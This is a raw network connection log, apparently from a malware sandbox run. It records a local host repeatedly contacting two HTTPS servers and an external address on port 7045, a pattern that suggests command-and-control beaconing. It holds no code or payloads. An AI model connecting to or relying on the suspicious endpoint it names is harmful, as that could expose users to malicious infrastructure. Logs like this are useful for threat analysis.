Dec 17, 2024 03:53:54.434009075 CET	443	50206	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:54.434120893 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.434946060 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.434974909 CET	443	50206	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:54.435075045 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.435245991 CET	443	50206	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:54.435303926 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.435847044 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.435915947 CET	443	50216	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:54.436007023 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.436382055 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:54.436412096 CET	443	50216	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:54.475820065 CET	443	50208	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.475884914 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.476536036 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.476548910 CET	443	50208	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.476644039 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.476686954 CET	443	50208	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.476737976 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.477219105 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.477250099 CET	443	50217	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.477313995 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.477597952 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.477617979 CET	443	50217	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.506622076 CET	443	50205	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.506700039 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.507307053 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.507320881 CET	443	50205	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.507438898 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.507730961 CET	443	50205	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.507786989 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.507909060 CET	443	50209	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.508009911 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508039951 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508063078 CET	443	50218	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.508164883 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508476019 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508503914 CET	443	50209	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.508553028 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508574963 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.508586884 CET	443	50218	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.509049892 CET	443	50209	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.509135008 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.509164095 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.509203911 CET	443	50219	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:54.509334087 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.509577990 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:54.509603977 CET	443	50219	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.684258938 CET	443	50217	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.684518099 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.685226917 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.685241938 CET	443	50217	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.685327053 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.685373068 CET	443	50217	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.685422897 CET	50217	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.686197042 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.686280012 CET	443	50220	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.686548948 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.686753988 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.686801910 CET	443	50220	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.730062962 CET	443	50219	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.730151892 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.730994940 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.731003046 CET	443	50219	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.731115103 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.731369019 CET	443	50219	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.731424093 CET	50219	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.731924057 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.731956959 CET	443	50221	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.732017994 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.732498884 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.732507944 CET	443	50221	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.779350996 CET	443	50218	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.779438972 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.780015945 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.780024052 CET	443	50218	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.780101061 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.780359030 CET	443	50218	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.780417919 CET	50218	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.780765057 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.780848026 CET	443	50222	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.780917883 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.781299114 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:55.781333923 CET	443	50222	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:55.817045927 CET	443	50216	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:55.817123890 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.817714930 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.817720890 CET	443	50216	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:55.817817926 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.818371058 CET	443	50216	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:55.818432093 CET	50216	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.818509102 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.818593979 CET	443	50224	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:55.818674088 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.819132090 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:55.819210052 CET	443	50224	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:56.117541075 CET	7045	50207	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:56.117633104 CET	50207	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:56.117748976 CET	50207	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:56.237448931 CET	7045	50207	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:56.900000095 CET	443	50220	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.900103092 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.903125048 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.903153896 CET	443	50220	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.903218031 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.903318882 CET	443	50220	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.903376102 CET	50220	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.904073000 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.904124022 CET	443	50229	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.904200077 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.904604912 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.904633999 CET	443	50229	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.946235895 CET	443	50221	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.946316004 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.947202921 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.947211027 CET	443	50221	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.947308064 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.947607994 CET	443	50221	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.947710037 CET	50221	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.948129892 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.948156118 CET	443	50230	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:56.948220968 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.948601007 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:56.948609114 CET	443	50230	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.002094984 CET	443	50222	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.002238989 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.003084898 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.003099918 CET	443	50222	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.003211975 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.003453970 CET	443	50222	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.003519058 CET	50222	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.004013062 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.004045010 CET	443	50231	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.004143953 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.004476070 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:57.004502058 CET	443	50231	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:57.049863100 CET	7045	50215	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:57.049952030 CET	50215	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:57.050076008 CET	50215	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:57.169909954 CET	7045	50215	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:57.203610897 CET	443	50224	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:57.203823090 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.204719067 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.204750061 CET	443	50224	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:57.204796076 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.205113888 CET	443	50224	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:57.205173969 CET	50224	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.205693960 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.205737114 CET	443	50232	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:57.205811024 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.206163883 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:57.206178904 CET	443	50232	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:58.113409042 CET	443	50229	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.113498926 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.114316940 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.114345074 CET	443	50229	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.114398003 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.114501953 CET	443	50229	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.114548922 CET	50229	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.115202904 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.115292072 CET	443	50237	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.115375996 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.115770102 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.115804911 CET	443	50237	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.217705965 CET	443	50231	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.217838049 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.218698978 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.218727112 CET	443	50231	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.218831062 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.219100952 CET	443	50231	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.219181061 CET	50231	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.219656944 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.219707012 CET	443	50238	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.219782114 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.220205069 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.220232964 CET	443	50238	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.480441093 CET	443	50230	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.480516911 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.481345892 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.481357098 CET	443	50230	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.481434107 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.481555939 CET	443	50230	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.481595993 CET	50230	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.482209921 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.482295990 CET	443	50239	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.482388020 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.482718945 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:58.482754946 CET	443	50239	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:58.590096951 CET	443	50232	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:58.590188026 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.590801001 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.590818882 CET	443	50232	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:58.590887070 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.591244936 CET	443	50232	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:58.591337919 CET	50232	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.591593027 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.591675997 CET	443	50240	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:58.591736078 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.592102051 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:58.592135906 CET	443	50240	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:59.691241026 CET	443	50237	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.691371918 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.692190886 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.692219973 CET	443	50237	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.692270041 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.692398071 CET	443	50237	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.692455053 CET	50237	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693056107 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693119049 CET	443	50241	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.693149090 CET	443	50239	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.693212032 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693229914 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693602085 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693634033 CET	443	50241	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.693826914 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.693837881 CET	443	50239	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.693902969 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.694417953 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.694463015 CET	443	50239	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.694469929 CET	443	50242	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.694549084 CET	50239	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.694825888 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.694827080 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.694883108 CET	443	50242	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.753247976 CET	443	50238	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.753340960 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.753865957 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.753880024 CET	443	50238	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.753964901 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.754072905 CET	443	50238	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.754125118 CET	50238	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.754539013 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.754581928 CET	443	50243	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.754651070 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.754935980 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:59.754961967 CET	443	50243	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:59.969412088 CET	443	50240	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:59.969536066 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.970398903 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.970428944 CET	443	50240	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:59.970498085 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.970650911 CET	443	50240	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:59.970705032 CET	50240	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.971347094 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.971379995 CET	443	50244	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:59.971457005 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.971894979 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:59.971908092 CET	443	50244	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.132141113 CET	50250	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:01.225963116 CET	443	50242	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.226089001 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.227138996 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.227169037 CET	443	50242	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.227257967 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.227653027 CET	443	50242	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.227726936 CET	50242	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.227968931 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.228013992 CET	443	50251	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.228085041 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.228472948 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.228487968 CET	443	50251	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.230113029 CET	443	50241	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.230206013 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.230835915 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.230854988 CET	443	50241	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.230959892 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.231018066 CET	443	50241	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.231072903 CET	50241	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.231854916 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.231882095 CET	443	50252	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.231941938 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.232249022 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.232256889 CET	443	50252	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.253988981 CET	7045	50250	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:01.254112005 CET	50250	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:01.254518032 CET	50250	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:01.298887968 CET	443	50243	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.299081087 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.299902916 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.299921989 CET	443	50243	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.300035954 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.300376892 CET	443	50243	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.300446033 CET	50243	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.300796032 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.300880909 CET	443	50253	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.300951958 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.301307917 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:01.301343918 CET	443	50253	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:01.353660107 CET	443	50244	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.353815079 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.354441881 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.354448080 CET	443	50244	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.354523897 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.354785919 CET	443	50244	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.354835987 CET	50244	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.355221033 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.355308056 CET	443	50254	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.355390072 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.355667114 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:01.355701923 CET	443	50254	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:01.374521017 CET	7045	50250	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:02.118278980 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:02.238115072 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:02.238204002 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:02.238364935 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:02.358134031 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:02.512311935 CET	443	50253	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.512428045 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.513369083 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.513369083 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.513401985 CET	443	50253	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.513794899 CET	443	50253	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.513854980 CET	50253	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.514166117 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.514209032 CET	443	50261	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.514275074 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.514657974 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.514677048 CET	443	50261	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.735966921 CET	443	50254	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:02.736202002 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.737178087 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.737205029 CET	443	50254	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:02.737286091 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.737409115 CET	443	50254	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:02.738015890 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.738034964 CET	50254	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.738099098 CET	443	50262	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:02.738185883 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.738548994 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:02.738583088 CET	443	50262	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:02.762689114 CET	443	50251	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.762753010 CET	443	50252	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.762801886 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.762837887 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.763379097 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.763390064 CET	443	50251	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.763484001 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.763545036 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.763552904 CET	443	50252	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.763624907 CET	50252	443	192.168.2.4	199.232.192.209
